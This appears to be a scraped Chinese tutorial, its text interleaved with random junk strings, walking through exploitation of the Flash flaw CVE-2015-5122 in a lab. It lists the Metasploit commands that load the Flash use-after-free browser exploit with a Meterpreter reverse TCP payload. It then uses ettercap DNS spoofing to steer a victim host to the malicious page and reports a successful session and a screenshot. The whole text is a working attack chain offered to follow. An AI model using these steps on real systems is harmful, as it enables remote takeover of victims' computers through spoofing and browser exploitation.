cve2015-5122漏洞实例演示虚拟机

admin

$ u- t$ i, d+ z/ B W. W 二、cve2015-5122漏洞实例演示虚拟机

# d9 p; u2 z d& {% Y! I/ r. u& s   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

' @$ k& V5 x- i* F3 N search cve-2015-5122如图：

# }9 \9 Z( Z5 g' J   ' R7 a2 U) `" s0 ~# k

* j: {3 h4 a% ^

4 E% r. C9 Y" R x( ~( d 下面我们敲如下命令：

use exploit/multi/browser/adobe_flash_opaque_background_uaf

2 D! z' C. ^, E! ]7 b+ ]8 W

1 ~2 e1 X6 _3 l: u: y set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109 * J: R/ `5 _, w+ L

set URIPATH /                        /*根目录*/

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

2 w- E4 u5 C5 {

然后show options如图： ! T: d9 ^ \# \+ s

# @6 \) P0 O X# O/ j3 V

9 u0 `( }+ d, C u4 Y  

7 J; b5 b; h- S" j+ R$ A% ~+ p! H 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
6 s4 p0 Z! `0 b; Y1 t

6 m* l/ \% H. R6 K' R) [# n. c 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

/ A8 X( \; @& O( ^0 Q9 E Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 9 M, d# b, E' |) I6 N

. [1 F8 M, F1 ]! u! p; G" |, M

+ l. N) R0 L7 L) u   " l, D0 K( b0 D- P3 q) H3 ^

, k8 Q! f* x0 |9 I+ P

8 C2 r. T4 Q7 C0 X W 成功了，这时候我们断开ettercap，如图：

* C) U/ M5 B! _0 r ?/ n$ N3 L. y6 J

 

Screenshot如图：

: f i, `4 f) n7 n; W2 Z8 C

% c8 {" d. T# j" B. ^  

% x1 e6 a& h0 H

# x7 o/ {: z1 F: ~ 0 L1 \- Q r+ F